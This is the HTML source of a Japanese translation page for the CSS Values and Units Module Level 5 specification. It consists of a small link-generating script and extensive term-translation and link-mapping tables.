css-values5-ja.html

<!DOCTYPE html><html lang="ja"><head><meta charset="utf-8">
<title>CSS の値と単位 — CSS Values and Units Module Level 5 （日本語訳）</title>

<link rel="stylesheet" href="common.css" type="text/css">
<link rel="stylesheet" href="common-css.css" type="text/css">

<script src="common0.js"></script>
<script src="common1.js" async></script>

<script>

Util.ready = function(){
	var source_data = {
		generate: expand
	};
	Util.switchWordsInit(source_data);
}

function expand(){
	const class_map = this.class_map;
	const tag_map = this.tag_map;
	var link_map = this.link_map;

	return this.html.replace(
		/%[\w\-~一-鿆あ-ん]+|`(.*?)([$@^])(\w*)/g,
		create_html
	);

	function create_html(match, key, indicator, klass){
if(!key) {//%
	return `<var>${match.slice(1)}</var>`;
}

let href = '';
let href1 = '';
{
	const n = key.indexOf('＠');
	if(n > 0) {
		href1 = key.slice(n + 1);
		key = key.slice(0, n);
	}
}
let text = key;

switch(klass){
case 'r':
	text = `[${key}]`;
	href = `#biblio-${key.toLowerCase()}`;
	break;
case 'f':
	const n = text.indexOf('(');
	if(n > 0){
		key = text.slice(0, n);
	} else {
		text = `${key}()`;
	}
	break;
case 't':
case 'tv':
	text = `&lt;${key}&gt;`;
	key = key.replace(/\s*\[.+/, '');
	break;
case 'p':
	{
		const i = key.indexOf(':');
		if( i > 0 ){
			key = text.slice(0, i);
			text = `${key}: <code class="value">${text.slice(i+1)}</code>`;
		}
	}
	break;
case 'tp':
	text = `&lt;'<code class="property">${key}</code>'&gt;`;
	href = link_map[`p.${key}`];
	break;
case 'at':
	text = `@${key}`;
	break;
case 'ps':
	text = `:${key}`;
	break;
case 'pe':
	text = `::${key}`;
	break;
case 'l':
	text = `"<code class="literal">${text}</code>"`;
	break;
case 'en':
	return `<span lang="en">${key}</span>`
	break;
case 'xCode':
	return `<a id="_ex-html-${key}">＊</a>`;
	break;
case 'issue':
	href = `~CSSissue/${key}`;
	text = `課題 #${key}`;
	break;
}

let tag = tag_map[klass];
if(tag) {
	let classname = class_map[klass];
	classname = classname ? ` class="${classname}"` : '';
	text = `<${tag}${classname}>${text}</${tag}>`;
}

if(indicator !== '^'){
	href = href1 || link_map[ klass ? `${klass}.${key}` : key ] || href;
	if(!href){
		console.log(match); // check error
		return match;
	}

	switch(indicator){
	case '$':
		text = `<a href="${href}">${text}</a>`;
		break;
	case '@':
		text = `<dfn id="${href.slice(1)}">${text}</dfn>`;
		break;
	}
}

return text;

	}
}
</script>

<script type="text/plain" id="_source_data">


●●options

spec_title:CSS Values and Units Module Level 5
spec_date:2025-03-24
trans_update:2025-03-25
source_checked:250311
page_state_key:CSS
original_url:https://drafts.csswg.org/css-values-5/
spec_status:WD
ref_id_prefix:biblio-
ref_id_lowercase:true
conformance:css
copyright:2025,permissive
trans_1st_pub:2023-04-15

●●class_map
p:property
css:css
at:at-rule
ps:pseudo
pe:pseudo
t:type
tv:type
tp:type
g:prod
u:unit
f:func
v:value
vC:value
vP:value
e:element
a:attr

●●tag_map
p:code
t:var
tv:var
tp:var
g:code
css:code
at:code
ps:code
pe:code
v:code
vC:code
vP:code
e:code
a:code
f:code
u:code
c:code
i:i
em:em
I:code
cite:cite

●●words_table1
SIZING4:https://drafts.csswg.org/css-sizing-4/
NaN:NaN
autoS:auto

●●words_table

	●構文
糖衣:sugar::~
変種:variant:~
wildcard::::ワイルドカード
繰返n:repetition:繰り返し
昇格-:upgrade:~
	~commaを昇格する:comma-upgrading
貪欲:greedy:~
	greedily
展開-:expand:~
展開:expansion:~
並替えれ:reorderでき:並び替えれ
丸括弧:parentheses:~
	丸括弧:parenthesis
山括弧:angle brackets:~
角括弧:square brackets:~
	角括弧:brackets
波括弧:curly braces:~
	波括弧:braces
波括弧-:curly:~
	`{-token$t :"{" token
	波括弧-~block:{} block
	〜を括る波括弧:{} wrapper
	括る:wrap
	括れる:wrap
	括り法:wrapping
	それを括る:enclose
開く:openする:~
複化子:multiplier::~
全称:universal::~
分岐:branch:~

	`color-mix^f:variant
	`cross-fade^f:variant
	-:trimming
	文字大小区別かどうか:case-sensitivity
	構文に:syntactically
	値~全体:sole value
	全体を成して:sole
	値~全体を成す:whole value
	現れて:appear
	2 回:twice
	進捗~関数:progress-function
	混合~関数:mix-function
	値~全体を成していない:mixed with other values
	最初の成分は~wildcardをとり得ない:possibility of a wildcard prefix
	書く:write
	書く:written
	書かれ:written
	記され:written
	与える:write
	直前に:precede
	括られ:wrap
	並べて:alongside
	隣に:next to
	z 成分:z-component
	2 個の成分からなる:2-value
	2 個の成分からなる:2-component
	1 個の成分からなる:single-value
	並び:followed by
	項:term
	に出くわした所:at that point
	次に来る:the next
	~semicolon:semi-colon
	`失敗^i でない:successfully
	項:term
	~~末端~level:leaf-level
	~token化:tokenize
	~token化:tokenization

	●論理式
真:true::~
偽:false::~
論理:logic:~
Kleene::::クリーネ
代数:algebra:~

	`真^i:true
	`真^i に評価される:true
	`偽^i:false
	`偽^i に評価される:false
	`未知^i:unknown
	3-値:3-value

	●幾何
縦:vertical::~
横:horizontal::~
隅:corner::~
内方:inward:~
外方:outward:~
地点:point:~
二次元な:2D::~
三次元な:3D::~

	左上:upper left
	左上:top left
	右下:lower right
	上へ:up
	下へ:below
	下へ:down
	左へ:leftward
	右へ:to the right

	●CSS
出自の:originating::~
全域:wide:~
math:
計算式:calculation:~
変形:transform::~
確定的:definite::~
不定:indefinite::~
積層:stacking::~
側:side:~
auto:
cascaded::::カスケード
百分率-:percent:~
族:family:::ファミリ
	~font族:font-family
書字:writing::~
任意-:arbitrary:~
default::::デフォルト
巻戻され:roll-backされ:巻き戻され

	継承されない:non-inherited
	下位prop:longhand
	名前空間を伴う:namespaced
	内在的に:intrinsically
	-:wrapper
	算出d値$を得る:computation
	識別子:ident
	`url^t:url

	●処理
代入-:substitute::~
代入:substitution::~
	代入~後の:post-substitution
代入待ちの:pending-substitution::~
自己検分:introspection:~
変形n:transformation::変形
合成-:synthesize:~
breakpoint:
	初めから無かったかのように~~扱う:drop 〜, go with what’s left
	初めから:all along
	棄てられ:throw away
	`真^i に評価される:true
	当の属性が欠落ったとき:lack of the attribute entirely

	引数:arg
	~EACH:in sequence
	~EACH:every instance of
	各:every instance of
	得られ:yield
	-:earliest
	-:looked up
	棄てる:throw out
	~~遡る:walk

	●変数
	%要請:req
	%~URL:url
	%計算式:calc
	%計算式:-
	%百分率~token:-
	%関数:-
	%関数:func
	%基底s:-
	%代入-済み計算式:-
	%正準-化済み基底s:-
	%正準-化済み計算式:-
	%挿入~値:-
	%挿入~値:insertion value
	%値:value
	%値~群:raw parse
	%要素:el
	%構文解析-結果:parse result
	%属性~名:attr name
	%属性~値:attr value
	%属性:attrib
	%結果:result
	%~fallback:fallback
	%上限:limit

	●保安
洗浄-:launder:~
dirty:
防護-:guard::~
巨大:large:~
染まっ:taintされ::~
染まる:taintされる::~

	長過ぎな:Overly-Long
	一種:variation
	倍に:doubles
	とり挙げる:call out
	多少高めに:relatively high
	長い:long
	該当する:true
	ほんの一手間:the work of a few minutes by hand
	十億個:billion instances
	1000 ~byte:kilobyte
	~~長さ:how long／how large
	無さそうに見える:without 〜 seeming
	追加される~levelごと:Every additional level added
	わずか:mere
	抗して:against

	●仕様
短絡-:short-circuit:~
差分:diff:~
稀:rare:~
自明:trivial:~
探求段階:exploratory:~
漸進的:progressive:~
増補:enhancement:~
旧い:old:~
参照r:refer:参照
明白:obvious:~
問い:question:~
答え:answer:~
内来的:inherent:~
人々:people:~
収容-:accommodate:~
選ぶ:chooseする:~
一律的:all-or-nothing:~
防御的:defensive:~
真似る:resembleする:~
素朴:naive:~
観点:standpoint:~
無意味:nonsense:~
判明-:realize:~
複雑化:complications:~
事実:fact:~
許容:allowance:~
委譲-:devolve:~
import:
誤り:error:~
拡がる:expandする:~
究明-:investigate:~
能性:potential:~
本物の:realな:~

	調べる:look at
	〜過ぎ:overly
	ほとんど，:mostly
	~level 4:`CSS-VALUES-4$r
	`CSS21$r :Level 2
	〜とする:called
	欄:line
	書き直す:rewrite
	〜にも:partially
	諸々の:miscellaneous
	なれば良さそう:would be nice
	最終的に:ultimately
	ようになる:get 〜
	要求される:CSS UAs must
	どちらでも:simultaneously
	~~妨げる:thwart
	〜し切れ:quite
	実施~上の:practical
	申し分なく:great
	きちんと:well-
	きちんと〜できない:not 〜 very well
	対処-:get around
	〜か否か:-ness
	関して:respect
	同じに:identically
	得られるように:lets us get
	互換性:compat
	はい:yes
	いいえ:yes
	結果になる:cause
	にもかかわらず:despite
	に類する:sort of
	類の:sort of
	~~過度に:Overly
	〜な限り:to the extent
	単純にするため:for simplicity
	抗する:against
	課す:impose
	課さな:impose
	課さな:no 〜 place
	過去に戻れたなら:If we had a time machine
	問われる:matter
	文脈に応じた:contextual
	を~~基準に〜ようになる:would make
	〜に過ぎない:just
	不確か:not sure
	〜に限って:leaving others bare...
	自身が定義する:UA-defined
	未知にもなり得る:potentially unknowable
	なり得る:potentially
	~~問題ない:fine
	自身が定義する:UA-defined
	解きほぐす:massaging
	それを~supportしない:older
	汎用~的に:generically
	用を成す:will do
	そうならくなる:prevent that from being true

	●未分類
所在指定子:locator::~
改変子:modifier::~
式:expression::~
normal:
	~normal体:normal#1
italic:
	~italic体:~italic:#2
図形:shape:~
	図形:shaped
巡回-:cycle:~
循環:cycle:~
循環依存:cyclic dependecies:~
	循環依存:Dependency Cycles
種類:kind:~
数量-:numeric:~
	数量-値（次元を伴い得る数）:numeric or dimensional value
族:family:~
計数:counting:~
維持-:retain:~
開な:open::開いた
開いて:openして::~
装う:masqueradeする:~
上限:limit:~
線形:linear::~
逃れる:escapeする:~
番号:number:~
light:
閉な:closed:閉じた

	階が深まるごとに:repeat
	-:present
	深さで:deep
	成す:constitute
	時点:time
	~~説明:illustrate
	そのまま:literal
	そのまま:itself
	箇所:place
	含む:include
	取り出す:pull
	取り出す:draw
	に代えて:in place of
	~~基準:against
	地点:point
	-:finally
	次元を伴う:dimensional
	総数:total number
	他の:the rest of
	それ以外:the rest
	何個目の子になるか:the index of 〜 among the children of
	1 から数える:1-indexed
	~inline化:inline
	少し:slightly
	両~側:either side
	見える:look
	小さな:minor
	より大きな:larger
	同時に:at once
	併用する:mixing
	小さくなったり大きくなる:some small and some large
	各部:parts
	があるとき:sometimes
	表出された値:value expression
	非-:non-
	これまで:previously
	ごく長くなる:for very long
	ずっと少ない:long 〜 much less than
	超える:larger than
	より低い:smaller
	扱い:treat
	他と異なる:differently
	元々:originally
	~~実際に:indeed
	置く:put
	周り:around
	およそ:nearly
	概ね:more or less
	短い:short
	~~片:piece
	あてがう:given
	あてがう:filled in with
	一部分:part of
	挟んだ:followed by
	そのまま:as-is
	元から:originally
	ほぼ:mostly
	〜し直した:back
	場所:place
	近い:near
	自前で:on its own
	とは限らない:not always
	無効~化:invalidate
	多様な:wide variety
	1 個の:alone
	組合せることが可能:combinable
	〜を分離する:separation
	有限:negative, zero, or positive
	~slotにアテガわれた:the slotted

	●進捗／補間
easing:
keyframe:
calc-size:
率:ratio:~
混合-:mix::~
	混合-法:mixing
曲線:curve:~
中間的:intermediate:~
終止-:end:~
現-:current:~
基底s:basis:基底°
安定:stable:~
滑らか:smooth:~
二次:quadratic:~

	~~割合:proportional
	転換-:turn into
	半分:half
	途中:in the middle of
	行く:goin
	0.5 秒:half a second
	全体を通して:thruout
	行く:going
	急変-:jump
	非~百分率~化:de-percentify
	中間点:halfway
	中間点:halfway point
	消え去る:away

	●random 関数
暗号:cryptography::~
暗号-:cryptographic::~
強度:strength:~
高品質な:quality:~
存続期間:lifetime:~
相関:correlation:~
丸めら:roundさ::~
丸める:roundする::~
疑似-:pseudo-:~
段差:step:~
時間的:temporal:~
一様:uniform:~
分布-:distribute:~
矩形:rectangle:~
正方形:square:~
数n:number:数
差:difference:~
seed:

	~randomな数-:random-number
	~randomなので:randomness
	~random~cache用の:random caching
	~random性:randomness
	~randomに:uniformly randomly
	他所で利用された...:"less random"
	~cache用の:caching
	~cache法:caching
	一様に分布する:drawn from a uniform distribution
	ある範囲内:between a minimum and maximum value
	-:limits
	~~確率:weight
	~~確率:chance
	~~最大な値:the final step to land
	最~大:largest
	最~小な:smallest
	小さい:small
	ずっと小さい:much less than
	ずっと小さい:far smaller
	大きい:large
	最小:min
	最大:max
	巨大:large
	巨大~過ぎる:sufficiently large
	約:approximately
	最も近い:nearest
	近い:close
	に最も近い値としてふるまう:clamped to the highest
	一意~性:uniqueness
	整数倍:whole
	整数倍:multiple of
	整数~倍:integer multiple
	“整数倍”:the step multiplier
	最小~値との差が段差の整数倍になるよう:form min + (N * step), where N is …
	範囲の最小~値からの差が段差の整数倍になる:step between those limits
	~~選ぶ:pick
	要素~ID:elementID
	要素~ID:element id
	要素~ID:element identifier
	文書~ID:document ID
	文書~ID:documentID
	全称~構文~定義:universal
	利用ごとに異なる:Maximum
	引数 %C ／ %C:(The function is treated as if...)
	疑似-~random生成器:PRNG
	実数:real number
	多少~予測しづらく:little unpredictably if you’re not careful
	入らない:outside
	結果が〜アリな最~大な~random値:to equalling a stepped value 〜 the final stepped value
	以上, 未満:half-open
	~~吸収:catch
	10 進数:decimal
	桁:digit
	有限桁:terminating
	有限桁でない:non-terminating
	~~粗さ:size
	入る:land

	●random 関数（変数
微小数:epsilon:~
	%N:N
	%関数:-
	%値~群:-
	%最小:min
	%最大:max
	%段差:step
	%R
	%~index:index
	%~index:step index
	%微小数:epsilon

	●random 関数（仕様
生来:natural:~
理論:theory:~
	理論~上は:in theory
各利用:usage:~
不用意:accidental:~
際どい:corner:~
避けよ:avoidしよ:~
	避けようがない:unavoidable
組織化-:organize:~
打破-:defeat:~
乖離:divergence:~
領分:realm:~
逆用-:exploit:~

	ある程度の:some degree
	視点:perspective
	できるようにする:letting
	許容しない:disallow
	とは言え:tho
	大丈夫なはず:should be fine
	別として:aside from
	伝える:tell
	見込みが高い:likely
	ほぼ見込まれない:very unlikely
	のか〜のか:versus
	か否か:differently
	するようになる:end up
	かどうかは〜のみに基づく:all that matters is
	保つ:keep
	選ばれ:chosen
	疑わしい:suspect
	外れる:falls out of
	アリでない:impossible
	およそ〜ない:it very unlikely
	必要yでない:necessarily
	足る:sufficient
	十分:enough
	“ゆらぎ”:less static and identical
	“華を添える”:just to add a bit of "flair"
	感じられ:feel
	気が散らないほどの:without being distracting
	少なくとも 〜は:definitely
	同じに:identically
	By default:この引数が省略された場合
	影響し得る:issues might have an effect
	等価になるもの:equivalence
	事実:in fact
	既定~用の:defaulting
	最大限に:maximally-
	もちろん:of course
	作者の期待に反して:when authors would expect them to.
	変わらない:continue to be true
	2 通りの:along two axises
	唯一の:the one
	~UA:we
	作者:you
	区別:distinction
	なり得る:potentially
	に足る:sufficiently
	^en:small wrinkle
	ほどよい:middle ground
	よほど極端な 〜ない:remotely reasonable
	選ばれ:chosen

	●random 関数（未分類
新規:fresh:~
誤差:error:~
浮動小数点:floating-point:~
給せ:supplyでき:~
給した:supplyした:~
給する:supplyする:~

	~~併用:together
	残りの:remaining
	複数の箇所で:multiple places 〜 each location
	何であれ:whatever
	どこか:somewhere
	他の〜は一致する:otherwise-identical
	箇所:place
	現れな／現れる:appear
	前後で／どうしで:across
	上の:preceding
	-:does nothing
	-:inclusive
	-:put
	`CSS-VARIABLES-2$r:Variables
	解決されない:unresolved
	そのまま:literally
	同じになる:does not have a different
	最終的に:eventually
	不在:absence
	~~現れ:show up

●●original_id_map

	●旧 id
	invalid-substitution:invalid-variables
	substitution-in-shorthands:variables-in-shorthands
	long-substitution:long-variables

●●mdn_urls
●●link_map

pe.slotted():~CSSSCOPING#selectordef-slotted

at.keyframes:~CSSANIM#at-ruledef-keyframes
at.property:~CSSPV1#at-ruledef-property
at.media:~CSSCOND#at-ruledef-media
at.container:~CSSCOND5#at-ruledef-container

	●p
p.animation-timeline:~CSSANIM2#propdef-animation-timeline
p.background-color:~CSSBG#propdef-background-color
p.background-image:~CSSBG#propdef-background-image
p.background-position:~CSSBG#propdef-background-position
p.color:~CSSCOLOR#propdef-color
p.font-family:~CSSFONT#propdef-font-family
p.font-palette:~CSSFONT#propdef-font-palette
p.height:~SIZING#propdef-height
p.interpolate-size:#propdef-interpolate-size
p.list-style-type:~CSSLIST#propdef-list-style-type
p.margin:~CSSBOX#propdef-margin
p.margin-top:~CSSBOX#propdef-margin-top
p.margin-bottom:~CSSBOX#propdef-margin-bottom
p.margin-left:~CSSBOX#propdef-margin-left
p.margin-right:~CSSBOX#propdef-margin-right
p.opacity:~CSSCOLOR#propdef-opacity
p.transform-origin:~TRANSFORM#propdef-transform-origin
p.view-timeline-name:~CSSWG/scroll-animations-1/#propdef-view-timeline-name
p.width:~SIZING#propdef-width

	●t （構文
t.{-token:~CSSSYN#tokendef-open-curly
t.any-value:~CSSSYN#typedef-any-value
t.declaration-value:~CSSSYN#typedef-declaration-value
t.comma-token:~CSSSYN#typedef-comma-token
t.delim-token:~CSSSYN#typedef-delim-token
t.hash-token:~CSSSYN#typedef-hash-token
t.ident-token:~CSSSYN#typedef-ident-token
t.percentage-token:~CSSSYN#typedef-percentage-token

	●t （構文用の構文
t.attr-name:#typedef-attr-name
t.attr-type:#typedef-attr-type
t.attr-unit:#typedef-attr-unit
t.syntax:#typedef-syntax
t.syntax-component:#typedef-syntax-component
t.syntax-string:#typedef-syntax-string
t.syntax-single-component:#typedef-syntax-single-component
t.syntax-type-name:#typedef-syntax-type-name
t.syntax-combinator:#typedef-syntax-combinator
t.syntax-multiplier:#typedef-syntax-multiplier

	●t
t.boolean-expr:#typedef-boolean-expr
t.calc-size-basis:#typedef-calc-size-basis
t.calc-sum:~CSSVAL#typedef-calc-sum
t.cf-image:~CSSIMAGE4#typedef-cf-image
t.color-interpolation-method:~CSSCOLOR5#color-interpolation-method
t.color:~CSSCOLOR#typedef-color
t.color:~CSSCOLOR5#typedef-color
t.container-name:~CSSCOND5#typedef-container-name
t.crossorigin-modifier:#typedef-request-url-modifier-crossorigin-modifier
t.custom-ident:~CSSVAL#identifier-value
t.custom-property-name:~CSSVAR#typedef-custom-property-name
t.dashed-ident:~CSSVAL#typedef-dashed-ident
t.dimension:~CSSVAL#typedef-dimension
t.easing-function:~CSSEASING#typedef-easing-function
t.general-enclosed:~MQ5#typedef-general-enclosed
	t.general-enclosed:~CSSVAL#typedef-general-enclosed
t.ident:~CSSVAL#typedef-ident
t.ident-arg:#typedef-ident-arg
t.if-condition:#typedef-if-condition
t.if-test:#typedef-if-test
t.image:~CSSIMAGE#typedef-image
t.integer:~CSSVAL#integer-value
t.integrity-modifier:#typedef-request-url-modifier-integrity-modifier
t.intrinsic-size-keyword:#typedef-intrinsic-size-keyword
t.keyframe-selector:~CSSANIM#typedef-keyframe-selector
t.keyframes-name:~CSSANIM#typedef-keyframes-name
t.length-percentage:~CSSVAL#typedef-length-percentage
t.length:~CSSVAL#length-value
t.media-condition:~MQ5#typedef-media-condition
t.media-feature:~MQ5#typedef-media-feature
t.mf-name:~MQ5#typedef-mf-name
t.number:~CSSVAL#number-value
t.percentage:~CSSVAL#percentage-value
t.position-four:#typedef-position-four
t.position-one:#typedef-position-one
t.position-two:#typedef-position-two
t.position:#typedef-position
t.random-value-sharing:#typedef-random-value-sharing
t.referrerpolicy-modifier:#typedef-request-url-modifier-referrerpolicy-modifier
t.request-url-modifier:#typedef-request-url-modifier
t.size-feature:~CSSCOND5#typedef-size-feature
t.string:~CSSVAL#string-value
t.style-query:~CSSCOND5#typedef-style-query
t.supports-condition:~CSSCOND#typedef-supports-condition
t.time:~CSSVAL#time-value
t.transform-function:~TRANSFORM2#typedef-transform-function
t.transform-list:~TRANSFORM#typedef-transform-list
t.url-modifier:~CSSVAL#typedef-url-modifier
t.url:~CSSVAL#url-value
t.whole-value:#whole-value
t.wq-name:~SELECTORS4#typedef-wq-name
t.complex-real-selector-list:~SELECTORS4#typedef-complex-real-selector-list

	●f
f.attr:#funcdef-attr
t.attr():#funcdef-attr
f.calc:~CSSVAL#funcdef-calc
f.clamp:~CSSVAL#funcdef-clamp
f.color-mix:~CSSCOLOR5#funcdef-color-mix
f.counter:~CSSLIST#funcdef-counter
f.cross-fade:~CSSIMAGE4#funcdef-cross-fade
f.ident:#funcdef-ident
t.ident():#funcdef-ident
f.if:#funcdef-if
t.if():#typedef-if
f.inherit:#funcdef-inherit
t.inherit():#typedef-inherit
f.random-item:#funcdef-random-item
t.random-item():#funcdef-random-item
f.random:#funcdef-random
f.round:~CSSVAL#funcdef-round
f.toggle:#funcdef-toggle
t.toggle():#funcdef-toggle
f.type:#funcdef-attr-type
t.type():#funcdef-attr-type
f.url:~CSSVAL#funcdef-url
f.var:~CSSVAR#funcdef-var
f.progress:#funcdef-progress
t.progress():#typedef-progress-fn
t.progress:#typedef-progress
f.media-progress:#funcdef-media-progress
t.media-progress():#typedef-media-progress
f.container-progress:#funcdef-container-progress
t.container-progress():#typedef-container-progress
f.calc-mix:#funcdef-calc-mix
t.calc-mix():#typedef-calc-mix
f.mix:#funcdef-mix
t.mix():#typedef-mix
f.transform-mix:#funcdef-transform-mix
t.transform-mix():#typedef-transform-mix
f.first-valid:#funcdef-first-valid
t.first-valid():#typedef-first-valid
f.sibling-count:#funcdef-sibling-count
f.sibling-index:#funcdef-sibling-index
f.palette-mix:~CSSFONT#funcdef-palette-mix
f.calc-size:#funcdef-calc-size
t.calc-size():#funcdef-calc-size

	●v

v.else:#valdef-if-else

vP.top:#valdef-position-top
vP.right:#valdef-position-right
vP.bottom:#valdef-position-bottom
vP.left:#valdef-position-left
vP.y-start:#valdef-position-y-start
vP.y-end:#valdef-position-y-end
vP.x-start:#valdef-position-x-start
vP.x-end:#valdef-position-x-end
vP.block-start:#valdef-position-block-start
vP.block-end:#valdef-position-block-end
vP.inline-start:#valdef-position-inline-start
vP.inline-end:#valdef-position-inline-end
vP.center:#valdef-position-center
	#valdef-position-length-percentage

v.integrity:#funcdef-request-url-modifier-integrity
v.referrerpolicy:#funcdef-request-url-modifier-referrerpolicy
v.crossorigin:#funcdef-request-url-modifier-crossorigin

v.anonymous:#valdef-request-url-modifier-anonymous
v.no-referrer-when-downgrade:#valdef-request-url-modifier-no-referrer-when-downgrade
v.no-referrer:#valdef-request-url-modifier-no-referrer
v.origin-when-cross-origin:#valdef-request-url-modifier-origin-when-cross-origin
v.origin:#valdef-request-url-modifier-origin
v.same-origin:#valdef-request-url-modifier-same-origin
v.strict-origin-when-cross-origin:#valdef-request-url-modifier-strict-origin-when-cross-origin
v.strict-origin:#valdef-request-url-modifier-strict-origin
v.unsafe-url:#valdef-request-url-modifier-unsafe-url
v.use-credentials:#valdef-request-url-modifier-use-credentials

v.numeric-only:#valdef-interpolate-size-numeric-only
v.allow-keywords:#valdef-interpolate-size-allow-keywords

tv.dashed-ident:#valdef-random-dashed-ident
v.auto:#valdef-random-auto
v.match-element:#valdef-random-match-element
v.fixed:#valdef-random-fixed

vC.size:#valdef-calc-size-size
vC.any:#valdef-calc-size-any

v.max-content:~SIZING#valdef-width-max-content
v.min-content:~SIZING#valdef-width-min-content
v.~autoS:~SIZING#valdef-width-auto
v.stretch:~SIZING4#valdef-width-stretch

	t.percentage-token:#valdef-progress-percentage-token
	t.number:#valdef-progress-number
	t.easing-function:#valdef-progress-easing-function
	tp.animation-timeline:#valdef-progress-animation-timeline

v.inherit:~CASCADE#valdef-all-inherit
v.initial:~CASCADE#valdef-all-initial
v.unset:~CASCADE#valdef-all-unset
v.transparent:~CSSCOLOR#valdef-color-transparent
v.red:~CSSCOLOR#valdef-color-red
v.green:~CSSCOLOR#valdef-color-green
v.blue:~CSSCOLOR#valdef-color-blue

	v.center:~CSSBG#valdef-background-position-center → center$vP
	＠~CSSANIM2#valdef-animation-timeline-auto
	＠~CSSANIM2#valdef-animation-timeline-none
	＠~CSSCOUNTER#circle
		~CSS22#value-def-circle
	＠~CSSCOUNTER#disc
		~CSS22#value-def-disc
	＠~CSSCOUNTER#square
		~CSS22#value-def-square
	＠~CSSFONT#valdef-font-family-sans-serif
	＠~CSSFONT#valdef-font-family-monospace


	●code 他

u.px:~CSSVAL#px

ps.nth-child():~SELECTORS4#nth-child-pseudo
at.supports:~CSSCOND#at-ruledef-supports

e.details:~HEinteractive#the-details-element
e.img:~HEimages#the-img-element
e.link:~HEmetadata#the-link-element
a.style:~HTMLdom#attr-style

I.ReferrerPolicy:~REFERRER-POLICY#enumdef-referrerpolicy
c.getComputedStyle():~CSSOM1#dom-window-getcomputedstyle


	●用語
~commaを包含する生成規則:#comma-containing-productions
~commaを包含する厳密でない生成規則:#non-strict-comma-containing-production

~URL値からの要請~改変子を適用する:#apply-request-modifiers-from-url-value

進捗~値:#progress-value
進捗~始端~値:#progress-start-value
進捗~終端~値:#progress-end-value
進捗~関数を計算する:#calculate-a-progress-function
混合-記法:#mix-notations
混合-始端~値:#mix-start-value
混合-終端~値:#mix-end-value
混合-進捗~値:#mix-progress-value

~random~cache用~key:#random-caching-key
rC.名前:#_random-caching-key-name
rC.要素~ID:#_random-caching-key-element-id
rC.文書~ID:#_random-caching-key-document-id

~random関数:#css-random-function
~random基底~値:#random-base-value
~randomな整数を生成する:#generate-a-random-integer

任意-代入~関数:#arbitrary-substitution-function
任意-代入~関数を解決する:#resolve-an-arbitrary-substitution-function
	#resolve-an-if-function
	#resolve-an-inherit-function
	#resolve-a-var-function
任意-代入~関数たちへ代入する:#substitute-arbitrary-substitution-function
代入-:#substitute-arbitrary-substitution-function
代入:#substitute-arbitrary-substitution-function
	~CSSVAR2#substitute-a-var
代入待ちの値:#pending-substitution-value
算出d値の時点で無効:#invalid-at-computed-value-time
構文~値で構文解析する:#parse-with-a-syntax
attr() に染まっ:#attr-taint

~random~cache用~key:#random-caching-key
~calc-size基底s:#calc-size-basis
~calc-size計算式:#calc-size-calculation
~calc-size計算式を非~百分率~化する:#de-percentify-a-calc-size-calculation
~calc-size計算式の中へ代入する:#substitute-into-a-calc-size-calculation
~calc-size関数を補間~用に正準-化する:#calc-size-canonicalize-for-interpolation


	●用語（ level 4
~level 4:#biblio-css-values-4

~URLの要請~改変子~用の手続き:~CSSVAL#url-request-modifier-steps

値~定義の構文:~CSSVAL#css-value-definition-syntax
~keyword:~CSSVAL#css-keyword
~CSS全域~keyword:~CSSVAL#css-wide-keywords
~CSS識別子:~CSSVAL#css-css-identifier
~math関数:~CSSVAL#math-function
	型を決定-:~CSSVAL#determine-the-type-of-a-calculation
一貫した型:~CSSVAL#css-consistent-type
一貫した型を有して:~CSSVAL#_css-consistent-type
型を入力と一貫させる:~CSSVAL#css-make-a-type-consistent
計算式:~CSSVAL#calc-calculation
~top-levelの計算式:~CSSVAL#top-level-calculation
関数-記法:~CSSVAL#functional-notation
小さい表示域~size:~CSSVAL#small-viewport-size
補間-:~CSSVAL#interpolation
補間:~CSSVAL#interpolation
補間-:~CSSVAL#interpolation
加算:~CSSVAL#addition
加算-:~CSSVAL#addition
算出d長さ:~CSSVAL#computed-length
	＠~CSSVAL#simplify-a-calculation-tree

	●用語（CSS

~custom~prop:~CSSVAR#custom-property
無効が保証される値:~CSSVAR#guaranteed-invalid-value

属性~選択子:~SELECTORS4#attribute-selector
疑似要素:~SELECTORS4#pseudo-element
出自の要素:~SELECTORS4#originating-element
最終的な出自の要素:~SELECTORS4#ultimate-originating-element
下位-疑似要素:~SELECTORS4#sub-pseudo-element
選択子:~SELECTORS4#selector

要素が裏にある疑似要素:~CSSPSEUDO#element-backed

~cascade:~CASCADE#cascade
略式~prop:~CASCADE#shorthand-property
下位prop:~CASCADE#longhand
初期~値:~CASCADE#initial-value
指定d値:~CASCADE#specified-value
算出d値:~CASCADE#computed-value
使用~値:~CASCADE#used-value
継承d値:~CASCADE#inherited-value
解決d値:~CSSOM1#resolved-value
~cascaded値:~CASCADE#cascaded-value
継承:~CASCADE#css-inheritance
継承d~prop:~CASCADE#inherited-property

~tree視野な参照:~CSSSCOPING#css-tree-scoped-reference
~tree視野な名前:~CSSSCOPING#css-tree-scoped-name
平坦~化された要素~tree:~CSSSCOPING#flat-tree

文法に則って構文解析-:~CSSSYN#css-parse-something-according-to-a-css-grammar
成分~値~listを構文解析する:~CSSSYN#parse-a-list-of-component-values
成分~値:~CSSSYN#component-value
波括弧-~block:~CSSSYN#curly-block
空白:~CSSSYN#whitespace
宣言:~CSSSYN#declaration
	＠~CSSSYN#css-parse-something-according-to-a-css-grammar

要素:~CSSDISP#elements
包含塊:~CSSDISP#containing-block

確定的~size:~SIZING#definite
内在的~size:~SIZING#intrinsic-size
~autoとして挙動する:~SIZING#behave-as-auto

~animate不可:~WANIM#not-animatable

型:~CSSTOM1#cssnumericvalue-type
型を作成する:~CSSTOM1#cssnumericvalue-create-a-type
合致して:~CSSTOM1#cssnumericvalue-match

登録-済み~custom~prop:~CSSPV1#registered-custom-property
構文~定義:~CSSPV1#syntax-definition
構文~文字列:~CSSPV1#syntax-string
~supportされる構文~成分~名:~CSSPV1#css-supported-syntax-component-name
	＠~CSSPV1#combinator
複化子:~CSSPV1#multipliers
全称~構文~定義:~CSSPV1#universal-syntax-definition
等価な~token列:~CSSPV1#equivalent-token-sequence

~easing関数:~CSSEASING#easing-function

容器~特能:~CSSCOND5#container-feature
~size特能:~CSSCOND5#size-features

媒体~特能:~MQ5#media-feature
媒体~query:~MQ5#media-query
範囲~型:~MQ5#range-type
実~値:~MQ5#real-value

変化-後~style:~TRANSITION#after-change-style

開始-時刻:~WANIM#animation-start-time
終止-時刻:~WANIM#animation-effect-end-time
現-時刻:~WANIM#animation-current-time
~keyframe選択子:~CSSANIM#_keyframe-selector
~keyframe~style規則:~CSSANIM#_keyframe-style-rule

整列~subject:~CSSALIGN#alignment-subject
整列~容器:~CSSALIGN#alignment-container

塊-軸:~CSSWM#block-axis
